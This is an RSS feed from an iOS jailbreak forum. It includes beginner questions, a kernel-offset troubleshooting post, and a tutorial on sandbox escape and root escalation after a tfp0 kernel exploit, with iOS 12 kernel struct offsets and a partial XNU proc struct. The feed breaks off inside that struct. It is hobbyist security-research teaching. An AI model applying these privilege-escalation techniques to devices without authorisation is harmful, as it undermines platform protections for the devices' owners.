<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Jailbreak Central - The Best Jailbreak Forum! - Jailbreak Development]]></title>
		<link>https://jailbreak.fce365.info/</link>
		<description><![CDATA[Jailbreak Central - The Best Jailbreak Forum! - https://jailbreak.fce365.info]]></description>
		<pubDate>Wed, 05 Aug 2026 08:15:58 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[How To Build An iOS 13 / 12 JAILBREAK From Scratch: Getting Started With tfp0 Exploits (E1)]]></title>
			<link>https://jailbreak.fce365.info/Thread-How-To-Build-An-iOS-13-12-JAILBREAK-From-Scratch-Getting-Started-With-tfp0-Exploits-E1</link>
			<pubDate>Sun, 29 Mar 2020 01:11:28 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=1">GeoSn0w</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-How-To-Build-An-iOS-13-12-JAILBREAK-From-Scratch-Getting-Started-With-tfp0-Exploits-E1</guid>
			<description><![CDATA[In this video, we're getting started with developing an iOS 13.3 all the way down to iOS 12 Jailbreak from scratch using #tfp0 kernel exploits. This is going to be a series in which I am going to teach you how to code your own jailbreak step by step for the most recent iOS versions and devices. In this video we're gettings started with iOS Jailbreak development, we get to know what tfp0 kernel exploits are and what they do, and we get to set up our development environment.<br />
<br />
It's important to understand well the components of a jailbreak, and the tfp0 kernel exploit is the foundation of the jailbreaks nowadays. Without it, there is no jailbreak because without tfp0, there is no Kernel Memory Read / Write, and therefore no patches. It's also important to understand which exploits work on which iOS versions and why, all of which is explained in this video. The next episode soon.<br />
<br />
As always, do not forget to SUBSCRIBE to stay updated with the latest #iOS and #Jailbreak news, updates and tutorials!<br />
~ GeoSn0w<br />
<br />
<iframe width="560" height="315" src="//www.youtube.com/embed/YxiWWJztZZk" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[In this video, we're getting started with developing an iOS 13.3 all the way down to iOS 12 Jailbreak from scratch using #tfp0 kernel exploits. This is going to be a series in which I am going to teach you how to code your own jailbreak step by step for the most recent iOS versions and devices. In this video we're gettings started with iOS Jailbreak development, we get to know what tfp0 kernel exploits are and what they do, and we get to set up our development environment.<br />
<br />
It's important to understand well the components of a jailbreak, and the tfp0 kernel exploit is the foundation of the jailbreaks nowadays. Without it, there is no jailbreak because without tfp0, there is no Kernel Memory Read / Write, and therefore no patches. It's also important to understand which exploits work on which iOS versions and why, all of which is explained in this video. The next episode soon.<br />
<br />
As always, do not forget to SUBSCRIBE to stay updated with the latest #iOS and #Jailbreak news, updates and tutorials!<br />
~ GeoSn0w<br />
<br />
<iframe width="560" height="315" src="//www.youtube.com/embed/YxiWWJztZZk" frameborder="0" allowfullscreen></iframe>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Help with getting started]]></title>
			<link>https://jailbreak.fce365.info/Thread-Help-with-getting-started</link>
			<pubDate>Sun, 09 Feb 2020 20:38:10 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=1725">Reflexx</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-Help-with-getting-started</guid>
			<description><![CDATA[Hello there I have really been struggling on how to get started with jailbreak development and I wanted to know we’re to find vulnerabilities, writing an exploit and then implementing the exploit into an app. Thank you so much and I hope you can help me?]]></description>
			<content:encoded><![CDATA[Hello there I have really been struggling on how to get started with jailbreak development and I wanted to know we’re to find vulnerabilities, writing an exploit and then implementing the exploit into an app. Thank you so much and I hope you can help me?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How do you find kernel offsets from a stripped kernel?]]></title>
			<link>https://jailbreak.fce365.info/Thread-How-do-you-find-kernel-offsets-from-a-stripped-kernel</link>
			<pubDate>Sun, 02 Feb 2020 21:26:46 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=1429">Brandon Plank</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-How-do-you-find-kernel-offsets-from-a-stripped-kernel</guid>
			<description><![CDATA[Hey, so i'm trying to find offsets for iOS 13.2.3 iPhone 10,3 but there seem to be no symbols. <br />
<br />
I used jtool2 --analyze /Users/brandonplank/Desktop/kernelcache <br />
and I didnt get anything useful.....<br />
<br />
 <br />
Here is the output<br />
_______________________________________________________________________________<br />
This is a BVX kernelcache - I support that now<br />
Analyzing kernelcache..<br />
This is a new-style A11 kernelcache (Darwin Kernel Version 19.0.0: Wed Oct 9 22:42:11 PDT 2019; root:xnu-6153.42.1~1/RELEASE_ARM64_T8015)<br />
-- Processing __TEXT_EXEC.__text..<br />
Disassembling 21686860 bytes from address 0xfffffff007b88000 (offset 0xb84000):<br />
__ZN11OSMetaClassC2EPKcPKS_j is 0xfffffff0080ae7c8 (OSMetaClass)<br />
Analyzing __DATA.__data..<br />
Got _localnode_id @0xfffffff009044620<br />
Analyzing __DATA.__sysctl_set..<br />
Analyzing fuctions...<br />
FOUND ops at 0xfffffff007bc1fb0!<br />
Analyzing __DATA_CONST.. (1st pass)<br />
-- Note: The is_iokit MIG subsytem contains more messages (90) than I expected (88)<br />
LAST ARG0 : fffffff007793870 , fffffff0074cf620, 9a4a<br />
last Arg2 is not 0?<br />
processing flows...<br />
Analyzing __DATA_CONST.. (2nd pass)<br />
GOT PTHREAD SHIMS! (0xfffffff00790a140)<br />
Getting zone map data<br />
opened companion file ./kernelcache.ARM64.DDF47349-048B-3A39-B02D-2785D47CAC36<br />
Dumping symbol cache to file<br />
Symbolicated 4877 symbols and 83706 functions<br />
_______________________________________________________________________________<br />
<br />
But when i tried to find the offsets like _rootvnode, nothing showed up.<br />
<img src="https://i.ibb.co/v4jsp1X/Screen-Shot-2020-02-02-at-4-24-34-PM.png" loading="lazy"  alt="[Image: Screen-Shot-2020-02-02-at-4-24-34-PM.png]" class="mycode_img" /><br />
idk how to fix this..]]></description>
			<content:encoded><![CDATA[Hey, so i'm trying to find offsets for iOS 13.2.3 iPhone 10,3 but there seem to be no symbols. <br />
<br />
I used jtool2 --analyze /Users/brandonplank/Desktop/kernelcache <br />
and I didnt get anything useful.....<br />
<br />
 <br />
Here is the output<br />
_______________________________________________________________________________<br />
This is a BVX kernelcache - I support that now<br />
Analyzing kernelcache..<br />
This is a new-style A11 kernelcache (Darwin Kernel Version 19.0.0: Wed Oct 9 22:42:11 PDT 2019; root:xnu-6153.42.1~1/RELEASE_ARM64_T8015)<br />
-- Processing __TEXT_EXEC.__text..<br />
Disassembling 21686860 bytes from address 0xfffffff007b88000 (offset 0xb84000):<br />
__ZN11OSMetaClassC2EPKcPKS_j is 0xfffffff0080ae7c8 (OSMetaClass)<br />
Analyzing __DATA.__data..<br />
Got _localnode_id @0xfffffff009044620<br />
Analyzing __DATA.__sysctl_set..<br />
Analyzing fuctions...<br />
FOUND ops at 0xfffffff007bc1fb0!<br />
Analyzing __DATA_CONST.. (1st pass)<br />
-- Note: The is_iokit MIG subsytem contains more messages (90) than I expected (88)<br />
LAST ARG0 : fffffff007793870 , fffffff0074cf620, 9a4a<br />
last Arg2 is not 0?<br />
processing flows...<br />
Analyzing __DATA_CONST.. (2nd pass)<br />
GOT PTHREAD SHIMS! (0xfffffff00790a140)<br />
Getting zone map data<br />
opened companion file ./kernelcache.ARM64.DDF47349-048B-3A39-B02D-2785D47CAC36<br />
Dumping symbol cache to file<br />
Symbolicated 4877 symbols and 83706 functions<br />
_______________________________________________________________________________<br />
<br />
But when i tried to find the offsets like _rootvnode, nothing showed up.<br />
<img src="https://i.ibb.co/v4jsp1X/Screen-Shot-2020-02-02-at-4-24-34-PM.png" loading="lazy"  alt="[Image: Screen-Shot-2020-02-02-at-4-24-34-PM.png]" class="mycode_img" /><br />
idk how to fix this..]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[SoC support]]></title>
			<link>https://jailbreak.fce365.info/Thread-SoC-support</link>
			<pubDate>Mon, 13 Jan 2020 16:48:34 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=1526">puggsy21</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-SoC-support</guid>
			<description><![CDATA[Hello everyone im new to the site,<br />
<br />
I have been watching alot of GeoSnow's videos and found them really useful and helpful. My question is related to checkm8, what is required to get SoC support for the iPhone 6s ( s8000 ). Could anyone shed some light on it please.<br />
<br />
I know it states that on the ipwndfu github page that there are certain SoC's that will have future support but i would like to find out what is needed exactly to have the s8000 work with checkm8<br />
<br />
Thanks for any replies<br />
<br />
<img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /> <img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></description>
			<content:encoded><![CDATA[Hello everyone im new to the site,<br />
<br />
I have been watching alot of GeoSnow's videos and found them really useful and helpful. My question is related to checkm8, what is required to get SoC support for the iPhone 6s ( s8000 ). Could anyone shed some light on it please.<br />
<br />
I know it states that on the ipwndfu github page that there are certain SoC's that will have future support but i would like to find out what is needed exactly to have the s8000 work with checkm8<br />
<br />
Thanks for any replies<br />
<br />
<img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /> <img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How to Escape SandBox And Get Root on iOS 12.x once you've got tfp0]]></title>
			<link>https://jailbreak.fce365.info/Thread-How-to-Escape-SandBox-And-Get-Root-on-iOS-12-x-once-you-ve-got-tfp0</link>
			<pubDate>Sat, 10 Aug 2019 19:09:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=1">GeoSn0w</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-How-to-Escape-SandBox-And-Get-Root-on-iOS-12-x-once-you-ve-got-tfp0</guid>
			<description><![CDATA[So you wanna build a Jailbreak and there is a tfp0 kernel exploit released (probably by either Sparkey or by Google Project Zero if I know this community well). The tfp0 is basically task_for_pid(0) so the task port for PID 0, which is the kernel_task or the XNU kernel itself. Once you've got tfp0, things are pretty simple because if you possess the Kernel Task Port, you have access to vm_read and vm_write to the Kernel Virtual Memory which means that you can apply various patches to yourself (your process representation in the kernel), or to other processes.<br />
<br />
Of course, Apple thought about this and starting with iOS 9 things have changed quite a bit with the advent of KPP or Kernel Patch Protection. With A10 (iPhone 7, 7 Plus), Apple took it one step further after KPP was bypassed in iOS 9 and 10. They introduced KTRR (Kernel Text Read-Only Region), a hardware solution which to this date was only bypassed once, back in the iOS 10 days. KPP and KTRR are very different in the implementation. One is software, another is hardware, and they work in different ways. Siguza has very well writ explanations on how these work in his blog, but it suffices to know that both KTRR and KPP prevent you from patching the Kernel (well, Apple tried... in reality, they only protect the __TEXT region (the code itself) and the constants). Since variable data cannot be protected, it has since been abused to heck and beyond in all post iOS 10 Jailbreaks, the so-called KPPLess paradigm which is not really a KPP bypass, but a KPP compliance. KPP/KTRR don't want us to mess with the constants and the code, and we don't because we don't even have to, at least for now.<br />
<br />
iOS is basically a mobile fork of macOS which grew to have its own particularities. macOS is basically FreeBSD + Unix + Apple's own shenanigans, so you will see many similarities with other Unix-based systems. One of these is the fact that each process that runs on the device has a PID (process ID) and a representation somewhere in the kernel. That representation holds everything from your permissions (or lack of thereof) to your PID, your Entitlements (to make AMFI happy) and other bits and pieces which make up the process structure.<br />
<br />
So the plan is simple: If you have Kernel Read / Write privileges, you can poke around the kernel to find basically yourself (your app's representation in the Kernel). Once you find that, given the right offsets, you can modify the data to grant yourself new entitlements (they govern what you can and what you can't as an App on iOS), escape yourself from the SandBox, get to be owned by root (root:wheel) rather than mobile which is far more limited, etc.<br />
(Or you can just say freak it and get the kernel credentials and replace yours with the kernel's, but not only that can result in weird bugs due to increased reference counters and other weird glitches, but it's also a bit dangerous).<br />
<br />
So, the first thing we wanna do after we've integrated the tfp0 exploit with our Jailbreak Xcode project is to add the proper offsets. These offsets basically represent how far from a specific base address we should expect to find an object in the memory.<br />
The following analogy should clear what offsets are once and for all:<br />
Imagine a street. The street has a number, let's say street 0xFFFFFFFFFFa14eba. Now, there are multiple houses on that street, but we want to find Joe's house. We know that Joe lives at the house 401 so 401 is the offset because from the base address (the start of the street) we need to go 401 positions up (houses) before we find what we need. The same way in the memory we can find things by knowing their offsets relative to a base address.<br />
<br />
Problem with these offsets is that they change from a version to another and even from a device to another, so iOS 11's offsets will not work on iOS 12. They may, however, in some cases work from a minor version to another, for example from 12.0 to 12.1.2.<br />
<br />
The following structure contains the offsets for iOS 12.x firmware:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>uint32_t _kstruct_offsets_12_0[] = {<br />
    0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE<br />
    0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT<br />
    0x14, // KSTRUCT_OFFSET_TASK_ACTIVE<br />
    0x20, // KSTRUCT_OFFSET_TASK_VM_MAP<br />
    0x28, // KSTRUCT_OFFSET_TASK_NEXT<br />
    0x30, // KSTRUCT_OFFSET_TASK_PREV<br />
    0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE<br />
#if __arm64e__<br />
    0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO<br />
#else<br />
    0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO<br />
#endif<br />
#if __arm64e__<br />
    0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR<br />
#else<br />
    0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR<br />
#endif<br />
#if __arm64e__<br />
    0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE<br />
#else<br />
    0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE<br />
#endif<br />
#if __arm64e__<br />
    0x400, // KSTRUCT_OFFSET_TASK_TFLAGS<br />
#else<br />
    0x390, // KSTRUCT_OFFSET_TASK_TFLAGS<br />
#endif<br />
    <br />
    0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS<br />
    0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES<br />
    0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE<br />
    0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT<br />
    0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER<br />
    0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT<br />
    0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG<br />
    0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT<br />
    0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS<br />
    <br />
    0x60, // KSTRUCT_OFFSET_PROC_PID<br />
    0x108, // KSTRUCT_OFFSET_PROC_P_FD<br />
    0x10, // KSTRUCT_OFFSET_PROC_TASK<br />
    0xf8, // KSTRUCT_OFFSET_PROC_UCRED<br />
    0x8, // KSTRUCT_OFFSET_PROC_P_LIST<br />
    0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS<br />
    <br />
    0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES<br />
    <br />
    0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB<br />
    <br />
    0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB<br />
    <br />
    0x10, // KSTRUCT_OFFSET_PIPE_BUFFER<br />
    <br />
    0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE<br />
    0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE<br />
    <br />
    0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT<br />
    0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO<br />
    0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK<br />
    0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS<br />
    <br />
    0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG<br />
    0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_HOST_SPECIAL<br />
    <br />
    0x18, // KSTRUCT_OFFSET_UCRED_CR_UID<br />
    0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL<br />
    <br />
    0x18, // KSTRUCT_SIZE_IPC_ENTRY<br />
    <br />
    0x6c, // KFREE_ADDR_OFFSET<br />
};<br />
<br />
 <br />
// proc_t<br />
unsigned off_p_pid = 0x60;<br />
unsigned off_task = 0x10;<br />
unsigned off_p_uid = 0x28;<br />
unsigned off_p_gid = 0x2C;<br />
unsigned off_p_ruid = 0x30;<br />
unsigned off_p_rgid = 0x34;<br />
unsigned off_p_ucred = 0xF8;<br />
unsigned off_p_csflags = 0x290;<br />
unsigned off_p_comm = 0x250;<br />
unsigned off_p_textvp = 0x230;<br />
unsigned off_p_textoff = 0x238;<br />
unsigned off_p_cputype = 0x2A8;<br />
unsigned off_p_cpu_subtype = 0x2AC;<br />
 <br />
// task_t<br />
unsigned off_itk_self = 0xD8;<br />
unsigned off_itk_sself = 0xE8;<br />
unsigned off_itk_bootstrap = 0x2B8;<br />
unsigned off_itk_space = 0x300;<br />
 <br />
// ipc_port_t<br />
unsigned off_ip_mscount = 0x9C;<br />
unsigned off_ip_srights = 0xA0;<br />
unsigned off_ip_kobject = 0x68;<br />
 <br />
// ucred<br />
unsigned off_ucred_cr_uid = 0x18;<br />
unsigned off_ucred_cr_ruid = 0x1c;<br />
unsigned off_ucred_cr_svuid = 0x20;<br />
unsigned off_ucred_cr_ngroups = 0x24;<br />
unsigned off_ucred_cr_groups = 0x28;<br />
unsigned off_ucred_cr_rgid = 0x68;<br />
unsigned off_ucred_cr_svgid = 0x6c;<br />
unsigned off_ucred_cr_label = 0x78;<br />
 <br />
// vnode<br />
unsigned off_v_type = 0x70;<br />
unsigned off_v_id = 0x74;<br />
unsigned off_v_ubcinfo = 0x78;<br />
unsigned off_v_flags = 0x54;<br />
unsigned off_v_mount = 0xD8; // vnode::v_mount<br />
unsigned off_v_specinfo = 0x78; // vnode::v_specinfo<br />
 <br />
// ubc_info<br />
unsigned off_ubcinfo_csblobs = 0x50; // ubc_info::csblobs<br />
 <br />
// cs_blob<br />
unsigned off_csb_cputype = 0x8;<br />
unsigned off_csb_flags = 0x12;<br />
unsigned off_csb_base_offset = 0x16;<br />
unsigned off_csb_entitlements_offset = 0x90;<br />
unsigned off_csb_signer_type = 0xA0;<br />
unsigned off_csb_platform_binary = 0xA8;<br />
unsigned off_csb_platform_path = 0xAC;<br />
unsigned off_csb_cd = 0x80;<br />
 <br />
// task<br />
unsigned off_t_flags = 0x3A0;<br />
 <br />
// mount<br />
unsigned off_specflags = 0x10;<br />
unsigned off_mnt_flag = 0x70;<br />
unsigned off_mnt_data = 0x8F8;<br />
 <br />
 <br />
unsigned off_special = 2 * sizeof(long);<br />
unsigned off_ipc_space_is_table = 0x20;<br />
 <br />
unsigned off_amfi_slot = 0x8;<br />
unsigned off_sandbox_slot = 0x10;<br />
 <br />
_Bool offs_init() {<br />
    if (SYSTEM_VERSION_BETWEEN_OR_EQUAL_TO(@"12.0", @"13.0") &amp;&amp; !SYSTEM_VERSION_EQUAL_TO(@"13.0")) {<br />
        off_p_pid = 0x60;<br />
        off_task = 0x10;<br />
        off_p_uid = 0x28;<br />
        off_p_gid = 0x2C;<br />
        off_p_ruid = 0x30;<br />
        off_p_rgid = 0x34;<br />
        off_p_ucred = 0xF8;<br />
        off_p_csflags = 0x290;<br />
        off_p_comm = 0x250;<br />
        off_p_textvp = 0x230;<br />
        off_p_textoff = 0x238;<br />
        off_p_cputype = 0x2A8;<br />
        off_p_cpu_subtype = 0x2AC;<br />
        off_itk_space = 0x300;<br />
        off_csb_platform_binary = 0xA8;<br />
        off_csb_platform_path = 0xAC;<br />
    } else {<br />
        ERROR("iOS version unsupported.");<br />
        return false;<br />
    }<br />
    return true;<br />
}</code></div></div><br />
Alright, we have the offsets. Now what?<br />
Having tfp0 + offsets means that we can find ourselves, which we need to do if we want to escalate our privileges on iOS. So, in order to find ourselves, we have to read the Kernel memory until we find our PID.<br />
The kernel stores a proc structure for every single process in the memory, here's what that structure looks like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>struct proc {<br />
LIST_ENTRY(proc) p_list; /* List of all processes. */<br />
 <br />
pid_t p_pid; /* Process identifier. (static)*/<br />
void * task; /* corresponding task (static)*/<br />
struct proc * p_pptr; /* Pointer to parent process.(LL) */<br />
pid_t p_ppid; /* process's parent pid number */<br />
pid_t p_pgrpid; /* process group id of the process (LL)*/<br />
uid_t p_uid;<br />
gid_t p_gid;<br />
uid_t p_ruid;<br />
gid_t p_rgid;<br />
uid_t p_svuid;<br />
gid_t p_svgid;<br />
uint64_t p_uniqueid; /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */<br />
uint64_t p_puniqueid; /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */<br />
 <br />
lck_mtx_t p_mlock; /* mutex lock for proc */<br />
 <br />
char p_stat; /* S* process status. (PL)*/<br />
char p_shutdownstate;<br />
char p_kdebug; /* P_KDEBUG eq (CC)*/ <br />
char p_btrace; /* P_BTRACE eq (CC)*/<br />
 <br />
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */<br />
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/<br />
LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/<br />
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads  (PL) */<br />
 <br />
LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/<br />
TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */<br />
 <br />
#if CONFIG_PERSONAS<br />
struct persona  *p_persona;<br />
LIST_ENTRY(proc) p_persona_list;<br />
#endif<br />
 <br />
lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */<br />
lck_mtx_t p_ucred_mlock; /* mutex lock to protect p_ucred */<br />
 <br />
/* substructures: */<br />
kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */ !!!<br />
struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */<br />
struct pstats *p_stats; /* Accounting/statistics (PL). */<br />
struct plimit *p_limit; /* Process limits.(PL) */<br />
 <br />
struct sigacts *p_sigacts; /* Signal actions, state (PL) */<br />
int p_siglist; /* signals captured back from threads */<br />
lck_spin_t p_slock; /* spin lock for itimer/profil protection */<br />
 <br />
#define p_rlimit p_limit-&gt;pl_rlimit<br />
 <br />
struct plimit *p_olimit; /* old process limits  - not inherited by child  (PL) */<br />
unsigned int p_flag; /* P_* flags. (atomic bit ops) */<br />
unsigned int p_lflag; /* local flags  (PL) */<br />
unsigned int p_listflag; /* list flags (LL) */<br />
unsigned int p_ladvflag; /* local adv flags (atomic) */<br />
int p_refcount; /* number of outstanding users(LL) */<br />
int p_childrencnt; /* children holding ref on parent (LL) */<br />
int p_parentref; /* children lookup ref on parent (LL) */<br />
 <br />
pid_t p_oppid; /* Save parent pid during ptrace. XXX */<br />
u_int p_xstat; /* Exit status for wait; also stop signal. */<br />
uint8_t p_xhighbits; /* Stores the top byte of exit status to avoid truncation*/<br />
 <br />
#ifdef _PROC_HAS_SCHEDINFO_<br />
/* may need cleanup, not used */<br />
u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */<br />
fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/<br />
u_int p_slptime; /* used by proc_compare */<br />
#endif /* _PROC_HAS_SCHEDINFO_ */<br />
 <br />
struct itimerval p_realtimer; /* Alarm timer. (PSL) */<br />
struct timeval p_rtime; /* Real time.(PSL)  */<br />
struct itimerval p_vtimer_user; /* Virtual timers.(PSL)  */<br />
struct itimerval p_vtimer_prof; /* (PSL) */<br />
 <br />
struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */<br />
int p_debugger; /*  NU 1: can exec set-bit programs if suser */<br />
boolean_t sigwait; /* indication to suspend (PL) */<br />
void *sigwait_thread; /* 'thread' holding sigwait(PL)  */<br />
void *exit_thread; /* Which thread is exiting(PL)  */<br />
int p_vforkcnt; /* number of outstanding vforks(PL)  */<br />
    void *  p_vforkact;     /* activation running this vfork proc)(static)  */<br />
int p_fpdrainwait; /* (PFDL) */<br />
pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */<br />
 <br />
/* Following fields are info from SIGCHLD (PL) */<br />
pid_t si_pid; /* (PL) */<br />
u_int si_status; /* (PL) */<br />
u_int si_code; /* (PL) */<br />
uid_t si_uid; /* (PL) */<br />
 <br />
void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */<br />
 <br />
#if CONFIG_DTRACE<br />
user_addr_t p_dtrace_argv; /* (write once, read only after that) */<br />
user_addr_t p_dtrace_envp; /* (write once, read only after that) */<br />
lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */<br />
int p_dtrace_probes; /* (PL) are there probes for this proc? */<br />
u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */<br />
        uint8_t                         p_dtrace_stop;                  /* indicates a DTrace-desired stop */<br />
struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */<br />
struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */<br />
struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */<br />
struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */<br />
#endif /* CONFIG_DTRACE */<br />
 <br />
/* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */<br />
/* The following fields are all copied upon creation in fork. */<br />
#define p_startcopy p_argslen<br />
 <br />
u_int p_argslen; /* Length of process arguments. */<br />
int  p_argc; /* saved argc for sysctl_procargs() */<br />
user_addr_t user_stack; /* where user stack was allocated */<br />
struct vnode *p_textvp; /* Vnode of executable. */<br />
off_t p_textoff; /* offset in executable vnode */<br />
 <br />
sigset_t p_sigmask; /* DEPRECATED */<br />
sigset_t p_sigignore; /* Signals being ignored. (PL) */<br />
sigset_t p_sigcatch; /* Signals being caught by user.(PL)  */<br />
 <br />
u_char p_priority; /* (NU) Process priority. */<br />
u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */<br />
char p_nice; /* Process "nice" value.(PL) */<br />
u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */<br />
 <br />
// types currently in sys/param.h<br />
command_t   p_comm;<br />
proc_name_t p_name; /* can be changed by the process */<br />
 <br />
 <br />
struct pgrp *p_pgrp; /* Pointer to process group. (LL) */<br />
uint32_t p_csflags; /* flags for codesign (PL) */<br />
uint32_t p_pcaction; /* action  for process control on starvation */<br />
uint8_t p_uuid[16]; /* from LC_UUID load command */<br />
 <br />
/* <br />
* CPU type and subtype of binary slice executed in<br />
* this process.  Protected by proc lock.<br />
*/<br />
cpu_type_t p_cputype;<br />
cpu_subtype_t p_cpusubtype;<br />
 <br />
/* End area that is copied on creation. */<br />
/* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */<br />
#define p_endcopy p_aio_total_count<br />
int p_aio_total_count; /* all allocated AIO requests for this proc */<br />
int p_aio_active_count; /* all unfinished AIO requests for this proc */<br />
TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */<br />
TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */<br />
 <br />
struct klist p_klist;  /* knote list (PL ?)*/<br />
 <br />
struct rusage_superset *p_ru; /* Exit information. (PL) */<br />
int p_sigwaitcnt;<br />
thread_t p_signalholder;<br />
thread_t p_transholder;<br />
 <br />
/* DEPRECATE following field  */<br />
u_short p_acflag; /* Accounting flags. */<br />
volatile u_short p_vfs_iopolicy; /* VFS iopolicy flags. (atomic bit ops) */<br />
 <br />
user_addr_t p_threadstart; /* pthread start fn */<br />
user_addr_t p_wqthread; /* pthread workqueue fn */<br />
int p_pthsize; /* pthread size */<br />
uint32_t p_pth_tsd_offset; /* offset from pthread_t to TSD for new threads */<br />
user_addr_t p_stack_addr_hint; /* stack allocation hint for wq threads */<br />
void * p_wqptr; /* workq ptr */<br />
 <br />
struct  timeval p_start;        /* starting time */<br />
void * p_rcall;<br />
int p_ractive;<br />
int p_idversion; /* version of process identity */<br />
void * p_pthhash; /* pthread waitqueue hash */<br />
volatile uint64_t was_throttled __attribute__((aligned(8))); /* Counter for number of throttled I/Os */<br />
volatile uint64_t did_throttle __attribute__((aligned(8)));  /* Counter for number of I/Os this proc throttled */<br />
 <br />
#if DIAGNOSTIC<br />
unsigned int p_fdlock_pc[4];<br />
unsigned int p_fdunlock_pc[4];<br />
#if SIGNAL_DEBUG<br />
unsigned int lockpc[8];<br />
unsigned int unlockpc[8];<br />
#endif /* SIGNAL_DEBUG */<br />
#endif /* DIAGNOSTIC */<br />
uint64_t p_dispatchqueue_offset;<br />
